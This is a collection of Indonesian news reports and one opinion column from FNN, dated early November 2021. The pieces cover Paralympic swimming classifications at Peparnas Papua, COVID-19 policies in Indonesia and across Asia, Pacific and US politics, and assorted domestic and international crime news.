Jakarta, FNN - Renang menjadi satu di antara 12 cabang olahraga yang akan dilombakan pada Pekan Paralimpiade Nasional (Peparnas) XVI Papua, 2-15 November 2021, tepatnya di Arena Akuatik Kampung Harapan, Kabupaten Jayapura, mulai 8 hingga 13 November. Berbeda dari Pekan Olahraga Nasional (PON), jumlah medali yang akan diperebutkan dalam tiap nomor renang Peparnas Papua akan jauh lebih banyak karena ada klasifikasi pada setiap nomor. Cabang olahraga renang Peparnas Papua akan melombakan 192 nomor dengan 12 klasifikasi dari lima gaya baik pada sektor putra dan putri. Gaya bebas meliputi 50m, 100m, 200m, dan 400m. Sementara gaya dada, gaya kupu-kupu, dan gaya punggung masing-masing 50m dan 100m. Adapun gaya ganti hanya 200m. Jika dihitung secara keseluruhan, renang pada Peparnas Papua akan memperebutkan 192 keping medali emas, masing-masing 105 untuk putra dan 87 untuk sektor putri. Klasifikasi pada renang Khusus renang pada Peparnas Papua, atlet yang akan tampil terbagi empat kategori yang menjadi dasar klasifikasi. Pertama, atlet yang mengalami hambatan fisik dan terdapat tujuh klasifikasi meliputi S4, S5, S6, S7, S8, S9, dan S10. Secara umum hambatan fisik ini disebabkan karena amputasi, polio, kakakuan otot, hambatan tubuh yang lain, dan hambatan pertumbuhan badan. Kedua, atlet yang mengalami hambatan penglihatan yang diklasifikasikan menjadi tiga, yakni S11, S12, dan S14. Klasifikasi S11 adalah atlet yang memiliki ketajaman visual sangat rendah dan atau tidak ada persepsi cahaya. Sementara klasifikasi S12, atlet memiliki ketajaman visual lebih tinggi ketimbang atlet yang bersaing dalam kelas olahraga S/SB/dan/atau bidang visual dengan radius kurang dari 5 derajat. Sedangkan untuk atlet yang masuk klasifikasi S13 memiliki gangguan penglihatan paling sedikit yang memenuhi syarat olahraga Paralimpiade. Mereka memiliki ketajaman visual tertinggi dan atau bidang visual dengan radius kurang dari 20 derajat. Ketiga, atlet yang memiliki hambatan intelektual dan mereka masuk klasifikasi S14. Perenang S14 memiliki gangguan intelektual yang biasanya menyebabkan atlet mengalami kesulitan dalam mengenali pola, sekuensing, dan memori, atau memiliki reaksi yang lebih lambat yang berdampak kepada kinerja olahraga secara umum. Selain itu, perenang S14 menunjukkan jumlah stroke yang lebih tinggi dibandingkan dengan kecepatan perenang berbadan sehat. Keempat, atlet yang memiliki hambatan pendengaran dan mereka masuk klasifikasi S15. Atlet memiliki gangguan pendengaran minimal 55 Db. Atlet elite dan nasional Merujuk pada Technical Handbook (THB) Peparnas Papua, atlet yang akan bersaing dalam lomba renang juga dibagi menjadi dua kelompok yakni atlet elite dan atlet nasional. Atlet elite adalah mereka yang pernah mengikuti ajang besar baik single event maupun multievent seperti ASEAN Para Games, Asian Para Games dari edisi 2005 hingga 2018. Khusus atlet elite, Komite Paralimpiade Nasional (NPC) Indonesia dan PB Peparnas menerapkan kebijakan pembatasan nomor lomba, yakni atlet hanya boleh mengikuti satu nomor lomba dari dua pilihan nomor lomba. Sementara atlet nasional adalah kelompok atlet yang belum pernah mengikuti ajang internasional dan maksimal boleh mengikuti tiga nomor lomba. Pembatasan nomor lomba untuk atlet elite ini dilakukan sebagai upaya menjaga regenerasi. Atlet elite seperti perenang Jendi Pangabean mengaku tak keberatan dengan kebijakan pada Peparnas Papua ini. "Kita tahu NPC Indonesia sudah punya nama dan prestasi sehingga harus dipertahankan. Selain itu, peraih medali di ajang internasional juga terus bertambah usia. Jadi memang harus ada regenerasi," kata Jendi Pangabean kepada ANTARA. Lebih dari itu, masih kata Jendi Pangabean​​​​​​, pembatasan nomor untuk atlet elite juga bakal memotivasi atlet-atlet baru untuk lebih bersemangat mengejar prestasi. Atlet 30 tahun itu berharap kebijakan pembatasan nomor lomba tidak sia-sia. Artinya, Peparnas Papua akan melahirkan bibit atlet potensial. Bukan hanya mengejar medali emas, kata Jendi, tetapi bisa melebihi limit waktu yang dimiliki atlet elite yang tak turun pada nomor tersebut. "Tentunya, harapannya aturan ini tidak sia-sia. Renang adalah olahraga terukur dan bukan medali saja yang dikejar, tetapi bisa mengalahkan limit waktu atlet elite lainnya," kata Jendi. "Jangan menang medali karena kami (atlet elite) tidak turun. Tetapi memang karena layak dan limit waktunya bagus," sambung dia. Jendi adalah salah satu elite Indonesia yang pernah pentas dalam berbagai kejuaraan internasional, termasuk Paralimpiade Tokyo 2020. Adapun pada Peparnas Papua, dia akan turun dalam nomor 400 meter gaya bebas dengan bendera kontingen Sumatera Selatan. Jendi masih memegang rekor nomor ini yang dia ciptakan di Malaysia pada 2017 dengan catatan waktu 4 menit 57 detik. "Nomor 400 meter gaya bebas memang bukan spesialis saya. Tetapi saya ingin memecahkan rekor saya sendiri di Peparnas Papua nanti," pungkas Jendi. Dalam dua edisi Peparnas sebelummnya, Jendi selalu sukses mendulang medali emas untuk Sumatera Selatan. Debut Jendi dalam Peparnas terjadi saat pentas di Riau pada 2012 dengan sukses membawa pulang dua emas dari nomor 100 meter gaya punggung dan 200 meter gaya ganti, perak dari nomor 50 meter gaya kupu-kupu, dan perunggu pada nomor 50 meter gaya punggung. Kemudian meningkat pada Peparnas 2016 di Jawa Barat dengan mendulang tiga medali medali emas masing-masing dalam nomor 100 meter gaya punggung, 200 meter gaya bebas, dan 200 meter gaya ganti. (sws)

Pemkot Bandung Sesuaikan Aturan Pusat Soal Pengetatan PPKM

Bandung, FNN - Pemerintah Kota (Pemkot) Bandung menyesuaikan aturan dengan pemerintah pusat apabila Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) bakal diperketat pada akhir tahun 2022. Wali Kota Bandung Oded M Danial mengatakan rencana pengetatan PPKM dari pemerintah pusat itu sejalan dengan upaya antisipasi gelombang ketiga COVID-19 sejak dini yang dilakukan pihaknya. "Kalau pusat memperketat, kami juga memperketat, bahkan kalau urusan PPKM, tanpa pusat memperketat pun kita harus hati-hati, harus waspada," kata Oded di Balai Kota Bandung, Jawa Barat, Selasa. Di lingkungan Pemkot Bandung, ia mengatakan bakal memperketat aturan cuti bagi para aparatur sipil negara (ASN) guna meminimalisir mobilitas masyarakat saat libur akhir tahun. Misalnya, kata dia, cuti yang diajukan oleh ASN harus merupakan kepentingan yang mendesak seperti cuti sakit, cuti berkabung, cuti melahirkan, dan cuti karena alasan penting lainnya. "Jadi kita akan melihat dari substansinya, alasan penting saja, kalau bukan alasan penting tidak (bisa)," katanya. Menurut dia, sejumlah rencana pengetatan lainnya dalam rangka antisipasi gelombang ketiga COVID-19 bakal dirumuskan dalam rapat terbatas (ratas) Satgas Penanganan COVID-19 Kota Bandung pada Jumat (5/11). "Walaupun sudah landai, ratas akan kami laksanakan, pekan ini Jumat kita akan ratas mengkaji situasi," kata Oded. Adapun dalam sepekan terakhir kasus COVID-19 di Kota Bandung terus mengalami kenaikan. Salah satunya kenaikan tersebut disebabkan oleh adanya ratusan kasus COVID-19 dari tes acak yang dilakukan di sejumlah sekolah yang menggelar pembelajaran tatap muka (PTM). Pada Senin (25/10), kasus aktif COVID-19 ada sebanyak 149 orang. Lalu sepekan setelahnya pada Senin (1/11), kasus aktif COVID-19 meningkat dua kali lipat lebih menjadi sebanyak 391 orang. (sws)

Sahroni Apresiasi Imigrasi Tindak Tegas WNA Langgar Prokes

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Ahmad Sahroni mengapresiasi tindakan tegas Kantor Imigrasi Kelas II TPI Singaraja, Bali, yang mendeportasi WNA asal Rusia berinisial DA dan OM asal Ukraina karena melanggar protokol kesehatan (prokes). "Apresiasi kepada pihak Imigrasi lantaran mereka telah tegas kepada para WNA yang bandel atau melanggar aturan di negara kita terkait standar protokol kesehatan," kata Sahroni dalam keterangannya di Jakarta, Selasa. Kebijakan deportasi diambil karena kedua WNA tersebut ketahuan melakukan aksi penipuan berupa pemalsuan surat keterangan hasil tes PCR COVID-19. Keduanya dideportasi setelah menjalani masa penahanan di Lapas Kelas IIB Karangasem selama 8 bulan. Menurut Sahroni, langkah yang diambil Imigrasi sudah tepat dan menunjukkan ketegasan institusi tersebut dalam menindak pelanggar aturan. Dia menilai langkah deportasi ketika ditemukan indikasi penipuan surat PCR langsung ditindak memang harus dilakukan untuk menunjukkan bahwa Indonesia tidak main-main terkait aturan prokes. Menurut dia, ketegasan dari pihak Imigrasi dapat menjadi peringatan untuk wisatawan asing lainnya agar tidak menganggap remeh aturan protokol kesehatan di Pulau Dewata atau di manapun di Indonesia. “Memang sangat perlu ketegasan seperti yang dilakukan pihak Imigrasi. Karena tidak sedikit warga negara asing yang melakukan tindakan pelanggaran terhadap prokes di Indonesia," ujarnya. Sahroni menilai ketegasan tersebut akan sangat membantu mengurangi penularan COVID-19, khususnya di daerah Bali yang memang terbuka untuk turis. Selain itu, menurut dia, dapat memberikan efek jera kepada WNA sehingga tidak ada yang bandel dan menyepelekan aturan protokol kesehatan di Indonesia apalagi mencoba melanggarnya. (sws)

Anggota DPR Minta Polri-OJK Selidiki Kasus Produk Asuransi Unit Link

Jakarta, FNN - Anggota Komisi III DPR RI Andi Rio Idris Padjalangi meminta aparat kepolisian bersama Otoritas Jasa Keuangan (OJK) melakukan penyelidikan dan mendalami produk asuransi unit link yang saat ini banyak melakukan penipuan kepada masyarakat. "Polri dan OJK harus dapat menindak, menangkap dan melakukan pencegahan terhadap modus penipuan semacam ini. Produk asuransi dan pinjaman daring marak dilakukan oleh oknum yang tidak bertanggung jawab demi meraih keuntungan dan berdampak merugikan masyarakat di situasi pandemi saat ini," kata Andi Rio dalam keterangannya di Jakarta, Selasa. Dia berharap Direktorat Tindak Pidana Ekonomi Khusus (Dirtipideksus) Bareskrim Polri dan OJK dapat terus memberikan sosialisasi, edukasi dan menutup akses perusahaan keuangan yang banyak melakukan penipuan. Menurut dia, jangan sampai masih banyak perusahaan yang berkeliaran dengan menawarkan produk asuransi yang berujung pada kasus penipuan. "Saya heran, mengapa akhir-akhir ini banyak masalah keuangan menjadi masalah penegakan hukum, tentunya peran OJK dalam melakukan pengawasan dipertanyakan dalam mengantisipasi hal hal seperti ini," ujarnya. Andi Rio meminta masyarakat dapat lebih bijak dan rasional terhadap produk asuransi ataupun pinjaman yang menjanjikan keuntungan investasi tinggi. Menurut dia, jangan sampai calon investor tidak mengetahui perusahaan asuransi yang akan dipilih ternyata tidak diawasi dan terdaftar di OJK. "Masyarakat harus lebih cermat dalam memilih perusahaan asuransi yang benar, perusahaan asuransi yang benar akan memberikan akses yang mudah dan transparan serta terdaftar di OJK," katanya. (sws)

DPRD Kotim Maksimalkan Program Pokok Pikiran Atasi Problema Masyarakat

Sampit, FNN - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kotawaringin Timur, Provinsi Kalimantan Tengah, mengingatkan pemerintah setempat tentang pentingnya program pokok pikiran DPRD dalam ikut mengatasi kebutuhan dan problem yang dihadapi masyarakat di daerah setempat. "Dalam pertemuan kami dengan bupati, beliau juga memahami bahwa program-program yang diusulkan DPRD melalui pokir (pokok pikiran) itu penting karena merupakan usulan masyarakat. Makanya dinas-dinas juga harus memahami ini," kata Wakil Ketua II DPRD Kotawaringin Timur Hairis Salamad di Sampit, Selasa. Hal itu juga disampaikan Hairis saat memimpin rapat Badan Musyawarah yang juga dihadiri tim dari eksekutif. Rapat ini menetapkan jadwal agenda DPRD untuk satu bulan ke depan. Masalah program pokok pikiran muncul karena bulan ini akan dilakukan pembahasan APBD 2022. Di dalamnya akan dibahas program-program yang diusulkan dan dimasukkan dalam perencanaan pembangunan pada 2022. Tahun 2020 dan 2021 banyak program pokok pikiran usulan DPRD di bidang pendidikan, infrastruktur, kesejahteraan rakyat dan lainnya, ikut dipangkas akibat refocusing anggaran. Sayangnya, pemangkasan itu tidak dikoordinasikan dengan DPRD sehingga menimbulkan kekecewaan bagi anggota dewan dan masyarakat karena sudah berharap program tersebut akan dilaksanakan. Supaya kejadian serupa tidak terulang, DPRD mengusulkan dilakukan rapat bersama nantinya untuk memastikan program-program pokok pikiran mana saja yang pasti bisa diakomodir dan mana yang terpaksa ditunda. "Perlu sinkronisasi supaya tidak terjadi masalah lagi. Kami sudah telanjur menjelaskan kepada masyarakat bahwa aspirasi yang mereka sampaikan akan dipenuhi melalui program pokir, tapi ternyata dibatalkan oleh eksekutif tanpa sepengetahuan kami. Ini jangan sampai terjadi lagi," harap Ketua Komisi I, Agus Seruyantara. Sementara itu Sekretaris Komisi II Juliansyah berharap pihak eksekutif tidak menganggap sepele program pokok pikiran yang diusulkan DPRD. Program tersebut merupakan usulan riil berasal dari masyarakat yang selama ini belum diakomodir eksekutif melalui musyawarah perencanaan pembangunan, sehingga masyarakat meminta DPRD memperjuangkannya. "Program pokok pikiran itu hasil aspirasi masyarakat yang disampaikan kepada kami saat reses. Jangan cuma program eksekutif yang dilaksanakan, tetapi juga program aspirasi masyarakat yang disampaikan kepada DPRD kemudian dituangkan dalam program pokok pikiran," tegas Juliansyah. Sementara itu Pelaksana Tugas Kepala Badan Perencanaan Pembangunan, Penelitian dan Pengembangan Daerah (Bappelitbangda) Kotawaringin Timur, Rafiq Riswandi yang memimpin tim eksekutif, merespons positif masalah itu. Dia berjanji akan menyampaikannya kepada pimpinan agar bisa menjadi perhatian. (sws)

Penyerang Awak Pesawat American Airlines Diseret ke Pengadilan

Colorado, FNN - Jaksa penuntut di AS di Colorado pada Senin (1/11) mendakwa seorang pria California berusia 20 tahun dengan tuduhan menyerang seorang awak pesawat saat penerbangan American Airlines pada 27 Oktober yang memaksa pesawat tersebut mengubah rute penerbangan. Pesawat dengan rute penerbangan dari New York ke Santa Ana, California, terpaksa melakukan pendaratan tak terjadwal di Denver setelah terjadi penyerangan. Dalam insiden itu, seorang pramugari dipukul di bagian hidung hingga mengalami pendarahan. Pria tersebut bernama Brian Hsu, dari Irvine, California. Dia juga didakwa mengganggu awak pesawat. Hsue dibebaskan dengan jaminan sebesar 10.000 dolar AS dan pengadilan memerintahkannya untuk hadir dalam sidang di Denver pada 15 November setelah muncul pertama kali di pengadilan distrik AS di Santa Ana pada Senin. Pengacara untuk Hsu belum menanggapi permintaan komentar. Maskapai penerbangan AS telah melaporkan rekor jumlah insiden kekerasan tahun ini dan Administrasi Penerbangan Federal (FAA) telah menjanjikan tindakan "tanpa toleransi". Kepala Eksekutif American Airlines Doug Parker mengatakan pekan lalu bahwa "perilaku seperti ini harus dihentikan." Parker dalam sebuah video yang diunggah di Instagram https://www.instagram.com/p/CVlEKgSD-F-, menyebut insiden itu "salah satu insiden terburuk dari perilaku buruk yang pernah kita saksikan." Seorang agen FBI dalam pernyataan tertulis mengatakan seorang saksi melaporkan bahwa Hsu meninju wajah pramugari di dekat toilet. Sang pramugari merasa pusing setelah penerbangan itu dan digotong dengan tandu. Dia dibawa ke rumah sakit dan dokter memberi tahunya bahwa dia mengalami gegar otak. Pramugari tersebut mengatakan kepada FBI bahwa dia "saat ini merasakan sakit di hidung, kepala, dan sinus." Hsu mengatakan kepada FBI bahwa ia akan pulang ke California dari New York setelah menjalani operasi otak di Rhode Island. Pada 8 Oktober, Presiden Joe Biden mengatakan dia menginstruksikan Departemen Kehakiman untuk "menangani" peningkatan jumlah insiden kekerasan di dalam pesawat. Hingga 25 Oktober, ada 4.941 laporan soal insiden penumpang bandel, termasuk 3.580 terkait aturan mengenakan masker untuk menangani pandemi. Pada Juni, sebuah kelompok yang mewakili maskapai besar AS seperti American, Delta Air Lines, dan United Airlines, serta serikat penerbangan, meminta pihak berwenang untuk menuntut penumpang udara yang melakukan kekerasan. Sebuah serikat pekerja yang mewakili pekerja Southwest Airlines mengatakan pada Mei bahwa seorang pramugari "diserang secara serius, mengakibatkan cedera pada wajah dan kehilangan dua gigi." (sws)

Agus Widjojo dan Pandangan Nyeleneh Soal TNI

By M Rizal Fadillah SETELAH membuat heboh dengan pandangan bahwa rakyat itu milik Presiden karena setelah selesai Pilpres maka kedaulatan rakyat selesai, kini muncul lagi pandangan aneh yaitu TNI agar memiliki atau bahkan menjadi Partai Politik. Dua pandangan tidak rasional ini tentu membuat publik menilai ada masalah apa pada Agus Widjoyo. Pengangkatan Agus menjadi Duta Besar Philipina menjadi dipertanyakan kapasitas dan kelayakannya. Bila sekadar 'membuang' tentu dapat dipahami, akan tetapi jika itu adalah promosi nampaknya kurang pantas dan pas. Agus Widjoyo sedang mengalami cara berfikir aneh, entah trauma atau mungkin memasuki masa tua. TNI menurut UU No 34 tahun 2004 tentang TNI Pasal 7 ayat (1) memiliki tugas pokok menegakkan kedaulatan negara, mempertahankan keutuhan wilayah NKRI berdasarkan Pancasila dan UUD 1945, serta melindungi segenap bangsa dan tumpah darah Indonesia dari ancaman dan gangguan terhadap keutuhan bangsa dan negara. Dalam menunaikan tugas pokok di atas, TNI harus manunggal dengan rakyat. Bukan saja saat perang tetapi juga saat damai. Karena apa yang menjadi tugas tersebut nyatanya adalah kebutuhan dan kepentingan rakyat pula. Pandangan Letjen Purn Agus Widjoyo bahwa TNI itu manunggal dengan rakyat hanya saat perang saja jelas keliru. Demikian juga pandangan tidak tepat bahwa TNI saatnya untuk bergerak ke ruang politik dengan membentuk atau menjadi partai politik. TNI manunggal dengan rakyat di saat damai berkaitan dengan melindungi segenap bangsa dan tumpah darah Indonesia. Tema HUT TNI 5 Oktober 2021 "Bersatu berjuang kita bisa menang" adalah mengingatkan TNI sebagai tentara rakyat dan tentara pejuang. Bersatu dengan segenap rakyat Indonesia berjuang bersama rakyat memenangkan aspirasi kerakyatan berdasarkan Pancasila dan UUD 1945. Aspirasi kerakyatan yang harus juga diperjuangkan dan dimenangkan oleh TNI saat ini antara lain : Pertama, memperkecil kesenjangan antara kaya dan miskin, elit dan kesemestaan, kemewahan dan kesederhanaan, Jenderal dan Prajurit. Kedua, menghapus oligarkhi dan berupaya untuk mengembalikan demokrasi sesuai dengan sila keempat Pancasila. Ketiga, mengubah orientasi hukum yang lebih memihak pada kekuasaan dan pemilik modal menjadi lebih adil dalam melindungi yang lemah. Keempat, sebagai alat negara yang menjadi tentara rakyat. TNI tidak boleh menjadi alat Pemerintah apalagi sebagai alat Presiden semata. Kelima, tidak tergoda untuk kembali berdwifungsi apalagi membentuk atau menjadi partai politik. Fasisme harus dicegah. Pandangan Letjen Purn Agus Widjoyo itu tidak mengarahkan TNI untuk menjadi tentara rakyat dan tentara pejuang. Bahkan menjauhkan dari rakyat, berpihak pada oligarkhis, bahkan dapat mengarah pada junta militer atau negara fasis. Berharap sukses pada tugas diplomatik sebagai Duta Besar di negara Filipina menjadi berlebihan. Pak Agus Widjoyo sebaiknya menikmati masa istirahat bersama keluarga di Manila. Congratulations to the Ambassador Agus Widjoyo. *) Analis Politik dan Kebangsaan

Sedikitnya 25 Tersangka Perampokan Bank di Brazil Tewas

Rio De Janeiro, FNN - Sedikitnya 25 tersangka perampokan bank tewas dalam dua bentrokan dengan aparat kepolisian Brazil, menurut otoritas Negara Bagian Minas Gerais pada Minggu (31/10). Dua insiden di dekat Kota Varginha di Minas Gerais itu merupakan hasil operasi gabungan antara kepolisian Minas Gerais dan polisi jalan raya federal untuk menindak geng perampok bank yang beraksi di kawasan tersebut. Pada bentrokan pertama 18 tersangka tewas dan pada bentrokan kedua tujuh tersangka lainnya juga tewas. Juru bicara kepolisian Minas Gerais Layla Brunnela mengatakan badan intelijen beberapa waktu lalu sudah mengawasi gerak-gerik kelompok tersebut. Brunnela mengatakan polisi menyita senjata berkaliber besar, bahan peledak, dan rompi antipeluru selama bentrokan. Para perampok bank di Brazil melancarkan sejumlah serangan nekat di seluruh wilayah tahun ini. Mereka menyasar bank di kota-kota kecil yang berfungsi sebagai depot uang tunai. (ant, sws)

Pertama Selama Pandemi, Australia Buka Perbatasan Internasional

Sydney, FNN - Australia pada Senin membuka perbatasan internasionalnya untuk pertama kali selama pandemi COVID-19. Kebijakan itu membuat penduduknya yang sudah divaksin bebas untuk bepergian. Di bandara Sydney, orang-orang tampak gembira setelah bertemu dengan kerabat mereka. Setelah 18 bulan menjalani pembatasan COVID-19 terketat di dunia, jutaan warga Australia kini bebas melakukan perjalanan tanpa izin maupun karantina saat tiba di negara itu. Pembukaan perbatasan masih dibatasi hanya bagi penduduk Australia dan penghuni permanen beserta keluarganya. Namun, kebijakan itu telah menggerakkan rencana untuk membuka lagi Australia bagi wisatawan dan pekerja asing yang sangat dibutuhkan dalam pemulihan ekonomi. Penumpang penerbangan pertama dari Singapura dan Los Angeles tiba di Sydney pada Senin pagi. Mereka disambut haru oleh teman dan kerabat yang selama beberapa bulan belum pernah mereka temui. Penumpang juga disambut staf maskapai yang memegang spanduk sambil memberi mereka bunga dan biskuit cokelat. "Sedikit menakutkan dan menyenangkan, saya harus pulang untuk menjenguk mama yang kurang sehat. Saya tidak sabar untuk melihatnya," kata Ethan Carter. Dia mendarat dengan Qantas Airways dari Los Angeles dan mengaku sudah dua tahun tidak pulang ke Australia. "Ini adalah hari perayaan, mengingat bahwa orang Australia dapat lebih bebas masuk dan keluar negara kita tanpa karantina, jika mereka telah divaksin lengkap," kata Menteri Keuangan Josh Frydenberg dalam siaran ABC. Ada 16 kedatangan dan 14 keberangkatan penerbangan internasional di Sydney pada Senin, kata pengelola bandara. Data kementerian luar negeri menunjukkan sekitar 47 ribu warga Australia yang ada di negara lain ingin kembali ke negara itu. Pelonggaran aturan perjalanan di negara bagian Victoria, New South Wales dan Wilayah Ibu Kota Australia diputuskan ketika Australia berupaya hidup berdampingan dengan COVID-19 lewat vaksinasi ekstensif. Kebijakan itu belum diberlakukan di negara-negara bagian lain karena tingkat vaksinasi mereka belum cukup untuk membuka kembali perjalanan lintas negara. (Reuters, sws)

Thailand Sambut Kedatangan Turis Asing Pertama Tanpa Karantina

Bangkok, FNN - Ratusan turis asing yang sudah menerima vaksin COVID-19 dijadwalkan tiba di Bangkok pada Senin, gelombang pertama dalam 18 bulan yang tidak diharuskan menjalani karantina. Dalam upaya membangkitkan kembali ekonomi pariwisata yang babak belur akibat pandemi, pemerintah Thailand memberikan lampu hijau bagi turis penerima vaksin COVID-19 dari 60 negara lebih, termasuk Amerika Serikat dan China. Sejumlah negara Eropa juga masuk ke dalam daftar tersebut karena pejabat berharap dapat memanfaatkan para pelancong dari belahan bumi utara yang hendak menghindari musim dingin. Thailand, salah satu tujuan wisata paling populer di Asia-Pasifik, memberlakukan aturan masuk yang ketat selama 18 bulan. Aturan itu menuai kritik di industri perjalanan lantaran terlalu membatasi dan memberatkan. Sebelum pandemi sektor pariwisata menyumbang sekitar 12 persen dari GDP Thailand dan ibu kotanya menjadi kota yang paling banyak dikunjungi di dunia. Berdasarkan program nasional yang baru, para pelancong yang tiba wajib bermalam di hotel yang telah ditentukan dan menunjukkan hasil tes COVID-19 negatif sebelum mereka dapat bepergian secara bebas ke seluruh wilayah. Lebih dari 1,9 juta infeksi dan 19.000 lebih kematian COVID-19 tercatat di Thailand sejak April. Sementara itu, sekitar 42 persen dari 72 juta populasi mereka sudah mendapatkan vaksin COVID-19. (Reuters, ant)

Kampanye Hidup Bersama Covid-19, Korsel Terapkan Paspor Vaksin

Seoul, FNN - Korea Selatan berusaha menggerakkan warganya untuk hidup bersama COVID-19 dengan melonggarkan berbagai pembatasan dan memberlakukan paspor vaksin di tempat-tempat berisiko tinggi, seperti pusat kebugaran, sauna, dan bar. Dengan lebih dari 75 persen populasi Korsel telah divaksin penuh, aturan pembatasan akan direvisi secara bertahap dan rencananya akan dihapuskan sepenuhnya pada Februari tahun depan. "Jalan kembali ke kehidupan sehari-hari, yang kita ambil langkah pertama hari ini, adalah jalan yang belum pernah kita lalui," kata Menteri Kesehatan Kwon Deok-cheol dalam pertemuan lembaga-lembaga penanganan COVID-19, Senin. Dia meminta orang-orang untuk tetap memakai masker, memastikan ventilasi ruangan secara teratur, dan melakukan tes jika muncul gejala. Langkah-langkah itu diyakini perlu dilakukan karena masih ada kekhawatiran tentang potensi kebangkitan kasus baru dari faktor-faktor risiko, seperti orang yang tidak divaksin, penurunan kekebalan pada masa depan di antara orang-orang yang sudah divaksin, dan kerumunan warga pada akhir tahun. Meskipun tidak pernah memberlakukan lockdown, Korsel telah berjuang melawan gelombang infeksi keempat sejak Juli, ketika pemerintah memberlakukan pembatasan kerumunan dan pembatasan sosial yang lebih ketat. Di antara serangkaian perubahan, jam malam di restoran dan kafe telah dicabut, dan acara olahraga di luar ruangan diizinkan untuk penonton dengan kapasitas 50 persen. Hingga 100 orang dibolehkan menghadiri acara musik atau konser, terlepas dari status vaksinasi mereka. Namun jika ingin memasuki tempat-tempat berisiko tinggi seperti bar dan klub malam, pusat kebugaran dalam ruangan, sauna, dan bar karaoke, orang-orang harus menunjukkan bukti vaksinasi atau hasil tes COVID-19 negatif dalam waktu 48 jam. Juru bicara Kementerian Kesehatan Son Young-rae mengatakan jumlah kasus baru bisa berlipat ganda atau tiga kali lipat dalam beberapa minggu mendatang. Sistem medis Korsel dirancang untuk menangani hingga 5.000 kasus baru sehari. Tetapi jika jumlahnya meningkat mendekati 10.000, pemerintah akan menghentikan proses pelonggaran pembatasan dan mengambil tindakan darurat, kata Son. Korsel melaporkan 1.686 kasus COVID-19 baru pada Minggu (31/10), dengan 366.386 kasus dan 2.858 kematian secara keseluruhan. (Reuters, sws)

Kasus Covid-19 Turun, Sekolah di Myanmar Dibuka

Yangon, FNN - Otoritas Myanmar kembali membuka seluruh lembaga pendidikan dasar pada Senin, termasuk sekolah swasta dan sekolah rahib Buddha di tengah penurunan jumlah infeksi harian COVID-19. Menurut pengumuman Komite Pusat Pencegahan, Pengendalian dan Pengobatan COVID-19, sekolah di 46 kota di sembilan kawasan dan negara bagian masih akan ditutup berdasarkan analisis tingkat tes positif per 100.000 penduduk dalam 14 hari terakhir. Terlihat sedikit siswa yang hadir di sekolah kawasan Yangon pada Senin, hari pertama sekolah kembali dibuka. Otoritas menutup seluruh sekolah sejak awal Juli sebagai bagian dari langkah anti-pandemi. Kementerian Kesehatan telah memberikan vaksin COVID-19 kepada siswa sekolah atas dan menengah berusia 12 tahun ke atas sejak 12 Oktober. Otoritas melaporkan 500.073 kasus dan 18.697 kematian COVID-19 pada Senin, menurut data terkini kementerian. Myanmar mendeteksi dua kasus pertama COVID-19 pada 23 Maret 2020. ( Xinhua, sws)

Delapan Pejabat di China Dibebastugaskan karena Lalai Tangani Covid-19

Beijing, FNN - Sedikitnya delapan pejabat senior di berbagai daerah di China dibebastugaskan terkait kemunculan kasus baru COVID-19 yang meluas hingga di 14 provinsi. Kepala Komisi Kesehatan Kota Tianshui, Provinsi Gansu, Chen Kexiao, beserta Kepala Pusat Pengendalian dan Pencegahan Penyakit Menular (CDC) setempat Wu Yizhong, Minggu (31/10), dicopot dari jabatannya akibat kelalaiannya dalam menjalankan tugas hingga menyebabkan munculnya kasus baru COVID-19. Dalam rentang 23-30 Oktober, sedikitnya lima pejabat di Daerah Otonomi Mongolia Dalam, termasuk Chen Zhanyun (Ketua Partai Komunis China/CPC Kabupaten Ejin Banner) dan Sun Jianjun (Ketua Departemen Budaya, Pariwisata, dan Televisi CPC Kota Alxa Right), dicopot. Satu pejabat lagi yang terkena sanksi pemecatan dari jabatan adalah direktur rumah sakit di Provinsi Qinghai, demikian dilaporkan media resmi pemerintah China, Senin. Gansu merupakan provinsi terparah yang terkena serangan COVID-19 sejak 18 Oktober, terutama di Kota Lanzhou dan Kota Tianshui. Hingga Minggu (31/11), CDC Provinsi Gansu melaporkan 105 kasus positif, termasuk 68 kasus di Lanzhou dan 15 di Tianshui. Kasus yang bermula dari Gansu dan Mongolia Dalam tersebut meluas hingga ke beberapa provinsi lainnya, termasuk Beijing yang dalam waktu tiga bulan ke depan akan menggelar Olimpiade Musim Dingin (Winter Olympic). Otoritas China selalu mengambil tindakan pemecatan atau pembebastugasan pejabat daerah, khususnya pimpinan CPC lokal, yang dianggap gagal mengendalikan COVID-19. Oleh sebab itu, berapa pun kasus baru COVID-19 yang ditemukan di daerah, selalu diikuti penerapan protokol kesehatan secara ketat oleh otoritas di daerah. (sws, ant)

Petinggi Gedung Putih Positif COVID-19, Terakhir Bertemu Biden Selasa

Washington, FNN - Juru bicara Gedung Putih Jen Psaki pada Minggu (31/10) mengatakan dirinya positif terkena COVID-19 dan mengaku terakhir bertemu Presiden Joe Biden pada Selasa (26/10). Perempuan 42 tahun itu sudah disuntik vaksin dan kini mengalami gejala ringan. Menurut Psaki, pada Selasa dia dan presiden duduk bersama dengan jarak lebih dari 1,8 m dan juga mengenakan masker. Biden pada Sabtu dinyatakan negatif COVID-19, kata sumber yang mengetahui hal itu. "Hari ini saya mengumumkan tes positif," kata Psaki dalam sebuah pernyataan. Psaki merupakan pejabat tertinggi yang terinfeksi COVID-19 selama pemerintahan Joe Biden yang dimulai pada Januari. Dia memutuskan untuk tidak ikut menemani Biden ke Roma dan Glasgow pekan ini lantaran seorang anggota keluarganya terkena COVID-19. Psaki mengaku telah melakukan karantina sejak Rabu dan berulang kali hasil tesnya negatif sebelum dinyatakan positif pada Minggu, katanya. Psaki awal tahun ini mengatakan bahwa Biden, yang sudah menerima dosis vaksin lengkap, menjalani tes setiap dua pekan sebagai langkah pengawasan atas permintaan dokternya. Presiden berusia 78 tahun itu sudah mendapatkan tiga dosis vaksin COVID-19 Pfizer-BioNTech, termasuk dosis booster bulan lalu. Gedung Putih bungkam soal jumlah infeksi terobosan COVID-19 yang terjadi di kalangan staf. (sws, ant)

Kejagung Periksa Direktur dan Dewas Perindo Terkait Korupsi Surat Utang

